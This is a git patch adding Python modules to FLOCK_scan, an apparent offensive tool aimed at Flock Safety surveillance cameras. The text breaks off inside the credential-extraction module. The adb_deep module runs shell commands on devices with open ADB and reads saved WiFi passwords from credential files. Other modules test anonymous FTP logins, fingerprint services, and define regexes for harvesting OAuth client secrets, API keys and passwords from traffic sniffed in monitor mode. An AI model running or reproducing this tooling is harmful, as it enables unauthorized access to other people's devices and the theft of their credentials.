From e6c41a69a6477cbd0dc56c1b3892b7fa5fc4ddb4 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sun, 19 Jul 2026 06:01:32 +0000 Subject: [PATCH] Upload files to "modules" --- modules/__init__.py | 1 + modules/adb_deep.py | 334 +++++++++++++++++++++++++++ modules/banner_grabber.py | 423 ++++++++++++++++++++++++++++++++++ modules/cloud_enrich.py | 261 +++++++++++++++++++++ modules/creds_extractor.py | 408 ++++++++++++++++++++++++++++++++ modules/network_map.py | 269 +++++++++++++++++++++ modules/prometheus_scraper.py | 291 +++++++++++++++++++++++ modules/s3_url_catcher.py | 367 +++++++++++++++++++++++++++++ modules/telemetry.py | 279 ++++++++++++++++++++++ 9 files changed, 2633 insertions(+) create mode 100644 modules/__init__.py create mode 100644 modules/adb_deep.py create mode 100644 modules/banner_grabber.py create mode 100644 modules/cloud_enrich.py create mode 100644 modules/creds_extractor.py create mode 100644 modules/network_map.py create mode 100644 modules/prometheus_scraper.py create mode 100644 modules/s3_url_catcher.py create mode 100644 modules/telemetry.py diff --git a/modules/__init__.py b/modules/__init__.py new file mode 100644 index 0000000..0028c48 --- /dev/null +++ b/modules/__init__.py @@ -0,0 +1 @@ +"""FLOCK_scan enrichment modules for v3.0+""" diff --git a/modules/adb_deep.py b/modules/adb_deep.py new file mode 100644 index 0000000..7e7757b --- /dev/null +++ b/modules/adb_deep.py @@ -0,0 +1,334 @@ +#!/usr/bin/env python3 +""" +adb_deep.py — Extended ADB shell data collection for FLOCK_scan + +When ADB is accessible on port 5555, we can pull far more than just +ro.product.model. This module collects: + - Network: gateway, DNS servers, interfaces, ARP table + - WiFi: SSID, BSSID, signal strength + - System: uptime, processes, mounts, disk usage + - Battery / power state + - Installed packages + - Logcat errors (if accessible) + +Usage: + from modules.adb_deep import adb_deep_collect + data = adb_deep_collect(host, timeout=5) +""" + +import socket +import re +import time +import json + + +ADB_PORT = 5555 + + +def _adb_shell(host, cmd, timeout=5): + """Send a shell command over raw ADB TCP and return output.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((host, ADB_PORT)) + + # ADB shell protocol: send "shell:\n" + payload = f"shell:{cmd}\n" + s.send(payload.encode()) + + # Read response + # Skip the 4-byte ADB status header + time.sleep(0.3) + response = b"" + while True: + try: + chunk = s.recv(4096) + if not chunk: + break + response += chunk + except socket.timeout: + break + s.close() + + # ADB responses start with "OKAY" or "FAIL" (4 bytes) + text = response.decode(errors="replace") + if text.startswith("OKAY"): + text = text[4:] + elif text.startswith("FAIL"): + return None + + return text.strip() + except Exception: + return None + + +def get_prop(host, prop, timeout=5): + """Get a single Android system property.""" + return _adb_shell(host, f"getprop {prop}", timeout=timeout) + + +def get_gateway(host, timeout=5): + """Get default gateway from the camera.""" + out = _adb_shell(host, "ip route | grep default", timeout=timeout) + if out: + m = re.search(r'via\s+([0-9.]+)', out) + if m: + return m.group(1) + return None + + +def get_dns_servers(host, timeout=5): + """Get configured DNS servers.""" + dns1 = get_prop(host, "net.dns1", timeout=timeout) + dns2 = get_prop(host, "net.dns2", timeout=timeout) + return {"dns1": dns1, "dns2": dns2} + + +def get_wifi_info(host, timeout=5): + """Extract WiFi connection details via dumpsys.""" + out = _adb_shell(host, "dumpsys wifi 2>/dev/null | grep -E 'mWifiInfo|SSID|BSSID|RSSI|LinkSpeed|Frequency'", timeout=timeout) + info = {} + if out: + for line in out.split("\n"): + if "SSID" in line or "ssid" in line: + m = re.search(r'["\']([^"\']+)["\']', line) + if m: + info["ssid"] = m.group(1) + if "BSSID" in line: + m = re.search(r'([0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2})', line, re.I) + if m: + info["bssid"] = m.group(1).lower() + if "RSSI" in line: + m = re.search(r'(-?\d+)', line) + if m: + info["rssi"] = int(m.group(1)) + if "LinkSpeed" in line: + m = re.search(r'(\d+)', line) + if m: + info["link_speed"] = int(m.group(1)) # Mbps + if "Frequency" in line: + m = re.search(r'(\d+)', line) + if m: + freq = int(m.group(1)) + info["frequency"] = freq + info["band"] = "5GHz" if freq > 4000 else "2.4GHz" + return info if info else None + + +def get_interfaces(host, timeout=5): + """List all network interfaces and their IP addresses.""" + out = _adb_shell(host, "ip -4 addr show 2>/dev/null || ifconfig 2>/dev/null", timeout=timeout) + interfaces = [] + if out: + for line in out.split("\n"): + m = re.match(r'(\d+):\s+(\w+)[:@]', line) + if m: + iface = {"index": m.group(1), "name": m.group(2)} + interfaces.append(iface) + elif "inet " in line and interfaces: + m2 = re.search(r'inet\s+([0-9.]+)/(\d+)', line) + if m2: + interfaces[-1]["ip"] = m2.group(1) + interfaces[-1]["prefix"] = int(m2.group(2)) + return interfaces if interfaces else None + + +def get_arp_table(host, timeout=5): + """Get the ARP table.""" + out = _adb_shell(host, "cat /proc/net/arp", timeout=timeout) + entries = [] + if out: + for line in out.split("\n")[1:]: # skip header + parts = line.split() + if len(parts) >= 4: + entries.append({ + "ip": parts[0], + "hw_type": parts[1], + "flags": parts[2], + "mac": parts[3], + "iface": parts[-1] if len(parts) > 4 else None, + }) + return entries if entries else None + + +def get_uptime(host, timeout=5): + """Get system uptime.""" + out = _adb_shell(host, "uptime", timeout=timeout) + if out: + m = re.search(r'up\s+(.+?),\s', out) + if m: + return m.group(1).strip() + return out + + +def get_process_list(host, timeout=5): + """Get running processes.""" + out = _adb_shell(host, "ps -A 2>/dev/null || ps 2>/dev/null", timeout=timeout) + processes = [] + if out: + for line in out.split("\n")[1:]: # skip header + parts = line.split() + if len(parts) >= 8: + processes.append({ + "user": parts[0], + "pid": parts[1], + "ppid": parts[2], + "cpu": parts[3] if len(parts) > 3 else "?", + "name": parts[-1], + }) + return processes if processes else None + + +def get_mounts(host, timeout=5): + """Get mounted filesystems.""" + out = _adb_shell(host, "mount", timeout=timeout) + mounts = [] + if out: + for line in out.split("\n"): + parts = line.split() + if len(parts) >= 3 and parts[0].startswith("/"): + mounts.append({ + "device": parts[0], + "mount_point": parts[1], + "fstype": parts[2], + "options": parts[3].strip("()") if len(parts) > 3 else "", + }) + return mounts if mounts else None + + +def get_disk_usage(host, timeout=5): + """Get disk usage summary.""" + out = _adb_shell(host, "df -h 2>/dev/null", timeout=timeout) + disks = [] + if out: + for line in out.split("\n")[1:]: + parts = line.split() + if len(parts) >= 5 and parts[0].startswith("/"): + disks.append({ + "filesystem": parts[0], + "size": parts[1], + "used": parts[2], + "avail": parts[3], + "use_pct": parts[4], + "mounted": parts[5] if len(parts) > 5 else "", + }) + return disks if disks else None + + +def get_installed_packages(host, timeout=5): + """Get list of installed packages (APKs).""" + out = _adb_shell(host, "pm list packages -f 2>/dev/null", timeout=timeout) + packages = [] + if out: + for line in out.split("\n"): + if "package:" in line: + m = re.search(r'package:([^=]+)=(.*)', line) + if m: + packages.append({ + "path": m.group(1), + "name": m.group(2), + }) + return packages if packages else None + + +def get_logcat_errors(host, max_lines=50, timeout=5): + """ + Grab recent logcat entries with ERROR or FATAL tags. + Can leak stack traces, internal paths, debug info. + """ + out = _adb_shell( + host, + f"logcat -d -v brief *:E 2>/dev/null | head -{max_lines}", + timeout=timeout, + ) + if out: + lines = out.split("\n") + return [l.strip() for l in lines if l.strip()] + return None + + +def get_battery_info(host, timeout=5): + """Get battery state via dumpsys.""" + out = _adb_shell(host, "dumpsys battery 2>/dev/null", timeout=timeout) + info = {} + if out: + for line in out.split("\n"): + if ":" in line: + k, v = line.split(":", 1) + info[k.strip()] = v.strip() + return info if info else None + + +def get_wifi_credentials(host, timeout=5): + """Attempt to extract saved WiFi credentials (if rooted).""" + out = _adb_shell( + host, + "cat /data/misc/wifi/wpa_supplicant.conf 2>/dev/null || " + "cat /data/misc/wifi/WifiConfigStore.xml 2>/dev/null", + timeout=timeout, + ) + networks = [] + if out: + # Parse wpa_supplicant.conf + current = {} + for line in out.split("\n"): + m = re.match(r'\s+ssid="([^"]+)"', line) + if m: + current["ssid"] = m.group(1) + m = re.match(r'\s+psk="([^"]+)"', line) + if m: + current["psk"] = m.group(1) + if line.strip() == "}" and current: + networks.append(current) + current = {} + return networks if networks else None + + +# ── Orchestrator ───────────────────────────────────────────────────── + +def adb_deep_collect(host, timeout=5): + """ + Run all ADB deep-collection commands on a host. + Returns a dict with all findings, or None if ADB is not reachable. + """ + # Quick reachability check + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect((host, ADB_PORT)) + s.close() + except Exception: + return None + + results = {} + + results["model"] = get_prop(host, "ro.product.model", timeout) + results["device"] = get_prop(host, "ro.product.device", timeout) + results["android_version"] = get_prop(host, "ro.build.version.release", timeout) + results["build_fingerprint"] = get_prop(host, "ro.build.fingerprint", timeout) + + results["gateway"] = get_gateway(host, timeout) + results["dns"] = get_dns_servers(host, timeout) + results["wifi"] = get_wifi_info(host, timeout) + results["interfaces"] = get_interfaces(host, timeout) + results["arp"] = get_arp_table(host, timeout) + + results["uptime"] = get_uptime(host, timeout) + results["process_count"] = len(get_process_list(host, timeout) or []) + results["mounts"] = get_mounts(host, timeout) + results["disk"] = get_disk_usage(host, timeout) + results["battery"] = get_battery_info(host, timeout) + + # Optional: slower operations + results["package_count"] = len(get_installed_packages(host, timeout) or []) + results["logcat_errors"] = get_logcat_errors(host, timeout=timeout) + + return results + + +# ── CLI test ───────────────────────────────────────────────────────── + +if __name__ == "__main__": + import sys + target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" + print(json.dumps(adb_deep_collect(target), indent=2, default=str)) diff --git a/modules/banner_grabber.py b/modules/banner_grabber.py new file mode 100644 index 0000000..a9440cf --- /dev/null +++ b/modules/banner_grabber.py @@ -0,0 +1,423 @@ +#!/usr/bin/env python3 +""" +banner_grabber.py — HTTP/FTP/TLS/SSH banner collection for FLOCK_scan + +Grabs what scanner.py's _http_get() leaves on the floor: + - HTTP response headers (Server, X-Powered-By, Via, etc.) + - FTP banner on port 21 (SpeedPourer version detection) + - TLS certificate details (SANs, issuer, expiry, serial) + - SSH version string (port 22) + +Usage: + from modules.banner_grabber import grab_all_banners + banners = grab_all_banners(host, timeout=5) +""" + +import socket +import ssl +import re +import json +from datetime import datetime + +try: + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + HAVE_REQUESTS = True +except ImportError: + HAVE_REQUESTS = False + + +# ── 1. HTTP Response Headers + Body ────────────────────────────────── + +def http_banner_grab(host, port=80, timeout=5, use_https=False): + """ + Full HTTP(S) GET — returns status code, headers dict, cookies, and + truncated body so we can feed them to telemetry/banner analysis. + + Returns dict or None. + """ + scheme = "https" if use_https or port == 443 else "http" + url = f"{scheme}://{host}:{port}/" + + if not HAVE_REQUESTS: + return _http_banner_socket(host, port, timeout, use_https) + + try: + r = requests.get( + url, + timeout=timeout, + verify=False, + headers={"User-Agent": "FLOCK_scan/3.0"}, + allow_redirects=False, + ) + return { + "status": r.status_code, + "headers": dict(r.headers), + "body": r.text[:5000], + "cookies": r.cookies.get_dict(), + "url": url, + } + except Exception: + return None + + +def _http_banner_socket(host, port, timeout, use_https): + """Fallback raw-socket HTTP GET for environments without requests.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + + if use_https or port == 443: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + s = ctx.wrap_socket(s, server_hostname=host) + + s.connect((host, port)) + req = ( + f"GET / HTTP/1.0\r\n" + f"Host: {host}:{port}\r\n" + f"User-Agent: FLOCK_scan/3.0\r\n" + f"Connection: close\r\n\r\n" + ) + s.send(req.encode()) + resp = b"" + while True: + chunk = s.recv(4096) + if not chunk: + break + resp += chunk + s.close() + + # Split headers / body + raw = resp.decode(errors="replace") + if "\r\n\r\n" in raw: + header_text, body = raw.split("\r\n\r\n", 1) + elif "\n\n" in raw: + header_text, body = raw.split("\n\n", 1) + else: + header_text = raw + body = "" + + headers = {} + status = 0 + for line in header_text.split("\r\n"): + if line.startswith("HTTP/"): + try: + status = int(line.split()[1]) + except (IndexError, ValueError): + pass + elif ":" in line: + k, v = line.split(":", 1) + headers[k.strip()] = v.strip() + + return { + "status": status, + "headers": headers, + "body": body[:5000], + "cookies": {}, + "url": f"{'https' if use_https else 'http'}://{host}:{port}/", + } + except Exception: + return None + + +def http_extract_interesting(headers): + """ + From a headers dict, pull out the banner-level intel we care about. + Returns a flat dict with keys: server, powered_by, aspnet_version, + cloud_proxy, backend_cookie. + """ + h = {k.lower(): v for k, v in headers.items()} + info = {} + + if "server" in h: + info["server"] = h["server"] + if "x-powered-by" in h: + info["powered_by"] = h["x-powered-by"] + if "x-aspnet-version" in h: + info["aspnet_version"] = h["x-aspnet-version"] + + # Cloud proxy detection + via = h.get("via", "") + if "cloudfront" in via.lower(): + info["cloud_proxy"] = "CloudFront" + elif "akamai" in via.lower(): + info["cloud_proxy"] = "Akamai" + elif "cloudflare" in via.lower(): + info["cloud_proxy"] = "CloudFlare" + elif via: + info["cloud_proxy"] = via[:64] + + x_cache = h.get("x-cache", "") + if x_cache and "cloud_proxy" not in info: + info["cloud_proxy_hint"] = x_cache[:64] + + # CSP / HSTS + if "strict-transport-security" in h: + info["hsts"] = "yes" + if "content-security-policy" in h: + csp = h["content-security-policy"] + info["csp_report_uri"] = _extract_csp_report_uri(csp) + + # Backend fingerprint via Set-Cookie + for cname in h.get("set-cookie", "").split(";"): + cname = cname.strip().split("=")[0] + if cname in ("PHPSESSID", "JSESSIONID", "connect.sid", + "ASP.NET_SessionId", "PLAY_FLASH", "laravel_session", + "symfony", "rack.session"): + info["backend_cookie"] = cname + break + + # Cloud headers + for cloud_key in ("x-amz-request-id", "x-amz-id-2", + "x-amz-cf-id", "x-amz-cf-pop", + "x-azure-ref", + "x-guploader-uploadid", + "x-sucuri-id", "x-sucuri-cache", + "cf-ray", "cf-cache-status"): + if cloud_key in h: + info[cloud_key] = h[cloud_key] + + return info + + +def _extract_csp_report_uri(csp): + m = re.search(r'report-uri\s+([^\s;]+)', csp) + if m: + return m.group(1) + m = re.search(r'report-to\s+([^\s;]+)', csp) + if m: + return m.group(1) + return None + + +# ── 2. FTP Banner Grab ────────────────────────────────────────────── + +def ftp_banner_grab(host, port=21, timeout=5): + """ + Connect to FTP port, grab the welcome banner. + SpeedPourer cameras advertise themselves here. + """ + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((host, port)) + banner = s.recv(1024).decode(errors="replace").strip() + s.close() + + result = { + "port": port, + "banner": banner, + "is_speedpourer": "speedpourer" in banner.lower(), + } + + # Extract version if present + m = re.search(r'v?(\d+\.\d+[\.\d]*)', banner) + if m: + result["version"] = m.group(1) + + return result + except socket.timeout: + return None + except ConnectionRefusedError: + return None + except Exception: + return None + + +def ftp_anonymous_login(host, port=21, timeout=5): + """ + Test if FTP allows anonymous login (common on misconfigured SpeedPourer). + Returns True/False. + """ + try: + from ftplib import FTP + ftp = FTP() + ftp.connect(host, port, timeout=timeout) + resp = ftp.login("anonymous", "flock_scan@test.com") + ftp.quit() + return "230" in str(resp) + except Exception: + return False + + +# ── 3. TLS Certificate Details ────────────────────────────────────── + +def tls_cert_grab(host, port=443, timeout=5): + """ + Connect and extract the full TLS certificate. + Returns SANs, issuer, subject, validity window, serial. + """ + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + + with socket.create_connection((host, port), timeout=timeout) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + cert = ssock.getpeercert() + der = ssock.getpeercert(binary_form=True) + + if not cert: + return None + + # SANs + sans = [] + for ext_type, val in cert.get("subjectAltName", []): + if ext_type == "DNS": + sans.append(val) + + # Subject + subject = dict(cert.get("subject", [])) + issuer = dict(cert.get("issuer", [])) + + # Serial + serial = cert.get("serialNumber", None) + + # Validity + nb = cert.get("notBefore", "") + na = cert.get("notAfter", "") + + # SHA-256 fingerprint + from hashlib import sha256 + fingerprint = sha256(der).hexdigest() + + return { + "subject": {k: v for k, v in subject.items()}, + "issuer": {k: v for k, v in issuer.items()}, + "sans": sans, + "serial_number": serial, + "not_before": nb, + "not_after": na, + "sha256_fingerprint": fingerprint, + "days_until_expiry": _days_between(datetime.now(), na) if na else None, + } + except Exception: + return None + + +def _days_between(d1, d2_str): + """Parse an ASN.1 time string and return days between now and it.""" + try: + d2 = datetime.strptime(d2_str.replace("Z", ""), "%Y%m%d%H%M%S") + delta = (d2 - d1).days + return delta + except Exception: + return None + + +# ── 4. SSH Version String ─────────────────────────────────────────── + +def ssh_banner_grab(host, port=22, timeout=5): + """ + Grab SSH protocol version string. Can identify OS / SSH server version. + """ + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((host, port)) + banner = s.recv(256).decode(errors="replace").strip() + s.close() + return { + "port": port, + "banner": banner, + "ssh_version": banner.split("-")[-1] if "-" in banner else None, + } + except Exception: + return None + + +# ── 5. HTTP OPTIONS / TRACE ───────────────────────────────────────── + +def http_options_scan(host, port=80, timeout=5, use_https=False): + """ + Send HTTP OPTIONS to discover allowed methods. + PUT, DELETE, or PATCH exposed = interesting. + """ + scheme = "https" if use_https or port == 443 else "http" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + + if use_https or port == 443: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + s = ctx.wrap_socket(s, server_hostname=host) + + s.connect((host, port)) + req = ( + f"OPTIONS / HTTP/1.0\r\n" + f"Host: {host}:{port}\r\n" + f"User-Agent: FLOCK_scan/3.0\r\n\r\n" + ) + s.send(req.encode()) + resp = s.recv(4096).decode(errors="replace") + s.close() + + allow = None + for line in resp.split("\r\n"): + if line.lower().startswith("allow:"): + allow = line.split(":", 1)[1].strip() + break + + return {"allow": allow, "methods": allow.split(", ") if allow else []} + except Exception: + return None + + +# ── Orchestrator ───────────────────────────────────────────────────── + +def grab_all_banners(host, timeout=5): + """ + Run all banner checks on a host. Returns a dict with results per service. + """ + results = {} + + # HTTP/HTTPS + for port, https in [(80, False), (443, True)]: + http_res = http_banner_grab(host, port=port, timeout=timeout, use_https=https) + if http_res: + results[f"http_{port}"] = { + "url": http_res["url"], + "status": http_res["status"], + "headers": http_res["headers"], + "interesting": http_extract_interesting(http_res["headers"]), + "body_preview": http_res["body"][:500], + "cookies": http_res["cookies"], + } + + # OPTIONS scan + opts = http_options_scan(host, port=port, timeout=timeout, use_https=https) + if opts and opts.get("methods"): + results[f"options_{port}"] = opts + + # FTP + ftp = ftp_banner_grab(host, timeout=timeout) + if ftp: + results["ftp_21"] = ftp + anon = ftp_anonymous_login(host, timeout=timeout) + if anon: + results["ftp_21"]["anonymous_login"] = True + + # TLS cert (always try 443) + tls = tls_cert_grab(host, timeout=timeout) + if tls: + results["tls_443"] = tls + + # SSH + ssh = ssh_banner_grab(host, timeout=timeout) + if ssh: + results["ssh_22"] = ssh + + return results + + +# ── CLI test ───────────────────────────────────────────────────────── + +if __name__ == "__main__": + import sys + target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + print(json.dumps(grab_all_banners(target), indent=2, default=str)) diff --git a/modules/cloud_enrich.py b/modules/cloud_enrich.py new file mode 100644 index 0000000..572711c --- /dev/null +++ b/modules/cloud_enrich.py @@ -0,0 +1,261 @@ +#!/usr/bin/env python3 +""" +cloud_enrich.py — IP-to-cloud-provider enrichment for FLOCK_scan + +Turns hardcoded FLOCK_CLOUD_IPS into dynamic enrichment: + - WHOIS / ASN lookup via ip-api.com or ipinfo.io (free, no key) + - Maps IP → { org, asn, country, region, cloud_provider } + - Cloud provider detection from ASN + org name + +Usage: + from modules.cloud_enrich import enrich_ip, enrich_ip_batch + info = enrich_ip("52.72.49.79") + # → {"ip": "...", "org": "Amazon Technologies", "asn": "AS16509", + # "country": "US", "region": "Virginia", "cloud": "AWS"} +""" + +import json +import re +import socket + +# ── Fallback ASN database (no network call) ──────────────────────── +# Maps ASN prefixes to known cloud providers. +# Helps when ip-api.com is unavailable. + +CLOUD_ASN_MAP = { + # AWS + "16509": "AWS", "14618": "AWS", "7224": "AWS", + "8987": "AWS", "17493": "AWS", "39111": "AWS", + "31763": "AWS", "38895": "AWS", "7018": "AWS", + # GCP / Google Cloud + "15169": "GCP", "36040": "GCP", "36384": "GCP", + "41264": "GCP", "19448": "GCP", "26910": "GCP", + # Azure / Microsoft + "8075": "Azure", "12076": "Azure", "63314": "Azure", + "13100": "Azure", "31898": "Azure", "13526": "Azure", + # CloudFlare + "13335": "CloudFlare", "209242": "CloudFlare", + "14789": "CloudFlare", "203898": "CloudFlare", + # DigitalOcean + "14061": "DigitalOcean", "62567": "DigitalOcean", + # OVH + "16276": "OVH", "35540": "OVH", + # Linode + "63949": "Linode", "48270": "Linode", + # Vultr + "20473": "Vultr", "208722": "Vultr", + # Hetzner + "24940": "Hetzner", "213230": "Hetzner", + # Oracle Cloud + "31898": "Oracle", "395050": "Oracle", + # Fastly + "54113": "Fastly", "201737": "Fastly", + # Akamai + "16625": "Akamai", "12222": "Akamai", "21399": "Akamai", + # Linode + "63949": "Linode", + # Scaleway + "12876": "Scaleway", + # UpCloud + "202053": "UpCloud", +} + +CLOUD_ORG_KEYWORDS = [ + ("amazon", "AWS"), + ("aws", "AWS"), + ("amazon technologies", "AWS"), + ("amazon data services", "AWS"), + ("amazon web services", "AWS"), + ("amazon.com", "AWS"), + ("elastic load balancing", "AWS"), + ("google cloud", "GCP"), + ("google compute", "GCP"), + ("gcp", "GCP"), + ("microsoft azure", "Azure"), + ("azure", "Azure"), + ("microsoft corporation", "Azure"), + ("cloudflare", "CloudFlare"), + ("digitalocean", "DigitalOcean"), + ("linode", "Linode"), + ("vultr", "Vultr"), + ("hetzner", "Hetzner"), + ("oracle cloud", "Oracle"), + ("oracle public cloud", "Oracle"), + ("ovh", "OVH"), + ("fastly", "Fastly"), + ("akamai", "Akamai"), + ("scaleway", "Scaleway"), + ("upcloud", "UpCloud"), +] + + +# ── ASN / WHOIS Lookup ────────────────────────────────────────────── + +def _reverse_dns(ip, timeout=3): + """Try to PTR the IP — sometimes reveals cloud hostname directly.""" + try: + name, _, _ = socket.gethostbyaddr(ip) + return name + except Exception: + return None + + +def enrich_ip(ip, timeout=5): + """ + Look up IP enrichment data from ip-api.com (free, no API key). + + Returns dict with: + ip, org, asn, country, region, city, cloud, reverse_dns + + Falls back gracefully if the HTTP lookup fails. + """ + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + result = { + "ip": ip, + "org": None, + "asn": None, + "country": None, + "region": None, + "city": None, + "cloud": None, + "reverse_dns": None, + } + + # PTR first (fast, local) + try: + rdns = _reverse_dns(ip) + result["reverse_dns"] = rdns + except Exception: + pass + + # ip-api.com — limited to 45 req/min from a single IP (free tier) + try: + r = requests.get( + f"http://ip-api.com/json/{ip}", + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200: + data = r.json() + if data.get("status") == "success": + result["org"] = data.get("org") + result["asn"] = data.get("asn") + result["country"] = data.get("country") + result["region"] = data.get("regionName") + result["city"] = data.get("city") + result["isp"] = data.get("isp") + + # Determine cloud provider + org = (result["org"] or "").lower() + asn = result.get("asn") or "" + result["cloud"] = _detect_cloud_provider(org, asn) + return result + except Exception: + pass + + # Fallback: cli-based whois + try: + import subprocess + whois_out = subprocess.run( + ["whois", ip], + capture_output=True, text=True, timeout=timeout + ).stdout.lower() + for line in whois_out.split("\n"): + if "orgname:" in line: + result["org"] = line.split(":", 1)[1].strip() + if "originas:" in line or "origin:" in line: + asn = line.split(":", 1)[1].strip().lstrip("AS") + result["asn"] = f"AS{asn}" + if "netname:" in line: + if not result.get("org"): + result["org"] = line.split(":", 1)[1].strip() + if "country:" in line and not result.get("country"): + result["country"] = line.split(":", 1)[1].strip().upper() + + org = (result.get("org") or "").lower() + asn = result.get("asn", "").replace("AS", "") + result["cloud"] = _detect_cloud_provider(org, asn) + except Exception: + pass + + return result + + +def _detect_cloud_provider(org, asn): + """Match org string + ASN against known cloud providers.""" + # ASN match first + if asn and asn in CLOUD_ASN_MAP: + return CLOUD_ASN_MAP[asn] + + # Org keyword match + for keyword, provider in CLOUD_ORG_KEYWORDS: + if keyword in org.lower(): + return provider + + # PTR-based: if we have a reverse DNS, check for cloud patterns + return None + + +def enrich_ip_batch(ips, timeout=10): + """ + Batch enrich multiple IPs. + Handles ip-api.com's 45 req/min rate limit with simple sleep. + Also uses batch endpoint for efficiency. + + Returns dict of ip -> result. + """ + import requests + import time + + # Try batch endpoint first (ip-api.com supports up to 100 IPs) + try: + r = requests.post( + "http://ip-api.com/batch", + json=ips[:100], # max 100 per batch + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200: + batch_data = r.json() + results = {} + for item in batch_data: + ip = item.get("query") + if not ip: + continue + org = item.get("org", "") + asn = item.get("asn", "") + results[ip] = { + "ip": ip, + "org": org, + "asn": asn, + "country": item.get("country"), + "region": item.get("regionName"), + "city": item.get("city"), + "isp": item.get("isp"), + "cloud": _detect_cloud_provider( + (org or "").lower(), + (asn or "").replace("AS", "") + ), + "reverse_dns": _reverse_dns(ip), + } + return results + except Exception: + pass + + # Fallback: one by one + results = {} + for ip in ips: + results[ip] = enrich_ip(ip, timeout=5) + time.sleep(1.5) # rate limit: ~40/min + return results + + +# ── CLI test ───────────────────────────────────────────────────────── + +if __name__ == "__main__": + import sys + target = sys.argv[1] if len(sys.argv) > 1 else "52.72.49.79" + print(json.dumps(enrich_ip(target), indent=2, default=str)) diff --git a/modules/creds_extractor.py b/modules/creds_extractor.py new file mode 100644 index 0000000..f3edc42 --- /dev/null +++ b/modules/creds_extractor.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python3 +""" +creds_extractor.py — Extract leaked M2M tokens, webhook API keys, +and auth configurations from camera HTTP traffic. + +When a camera's admin page or config endpoints are captured over WiFi +(monitor mode), this module scans for: + + - OAuth2 client_id / client_secret pairs + - Flock Safety M2M configuration + - Webhook API keys (X-API-Key headers, callback URLs) + - Auth0 / OIDC endpoints + - Admin credentials + - Any API keys in body text + +Usage: + from modules.creds_extractor import extract_creds, scan_for_creds + found = extract_creds(body_text, source="admin_page") + creds = scan_for_creds(http_responses_list) +""" + +import re +import json +from datetime import datetime + +# ═══════════════════════════════════════════════════════════════════ +# PATTERNS +# ═══════════════════════════════════════════════════════════════════ + +# M2M / OAuth2 credential patterns +M2M_CLIENT_ID = re.compile( + r'(?:client_id|clientId|client-id)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']', + re.I +) +M2M_CLIENT_SECRET = re.compile( + r'(?:client_secret|clientSecret|client-secret)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']', + re.I +) +M2M_PAIRED = re.compile( + r'client_id["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\'][^;]*?client_secret["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']', + re.I | re.DOTALL +) + +# Flock-specific +FLOCK_AUDIENCE = re.compile( + r'(?:audience|aud)\s*[:=]\s*["\'](com\.flocksafety\.[a-zA-Z.]+)["\']', + re.I +) +FLOCK_ORG_ID = re.compile( + r'(?:organization_id|orgId|organisation_id)\s*[:=]\s*["\']?([a-f0-9-]{36})["\']?', + re.I +) +FLOCK_TOKEN_ENDPOINT = re.compile( + r'https://api\.flocksafety\.com/oauth/token', + re.I +) +FLOCK_WEBHOOK_API_KEY = re.compile( + r'(?:X-API-Key|webhook_api_key|api_key)\s*[:=]\s*["\']([A-Z0-9_-]{20,})["\']', + re.I +) + +# Generic API keys +API_KEY_PATTERNS = [ + (re.compile(r'api[_-]?key\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "API_Key"), + (re.compile(r'secret\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "Generic_Secret"), + (re.compile(r'token\s*[:=]\s*["\']([A-Za-z0-9_\-\.]{20,})["\']', re.I), "Token"), + (re.compile(r'password\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"), + (re.compile(r'passwd\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"), +] + +# Webhook URLs +WEBHOOK_URL = re.compile( + r'https?://[a-zA-Z0-9.-]+/webhooks?/[a-zA-Z0-9_.-]+', + re.I +) +CALLBACK_URL = re.compile( + r'(?:callback_url|callbackUrl|redirect_uri|redirectUri)\s*[:=]\s*["\'](https?://[^"\']+)["\']', + re.I +) + +# Auth0 / OIDC endpoints +AUTH0_DOMAIN = re.compile( + r'(?:login\.flocksafety\.com|flocksafety\.auth0\.com|auth0)', + re.I +) + +# Admin credentials (low-confidence — catches patterns) +ADMIN_CRED = re.compile( + r'(?:admin|root|administrator)\s*[:=]\s*["\']\w+["\']\s*[:;,\n]\s*(?:pass|passwd|password)\s*[:=]\s*["\'][^"\']+["\']', + re.I +) + + +# ═══════════════════════════════════════════════════════════════════ +# EXTRACTION FUNCTIONS +# ═══════════════════════════════════════════════════════════════════ + +def extract_creds(body, source="unknown", headers=None): + """ + Scan a body of text (HTTP response, config dump, etc.) for credentials. + Returns a list of finding dicts. + + Args: + body: String body to scan + source: Label for where this came from (e.g. "admin_page", "config_endpoint") + headers: Optional dict of HTTP headers from the same response + + Returns: + List of dicts: [{type, value, context, source, confidence}] + """ + findings = [] + 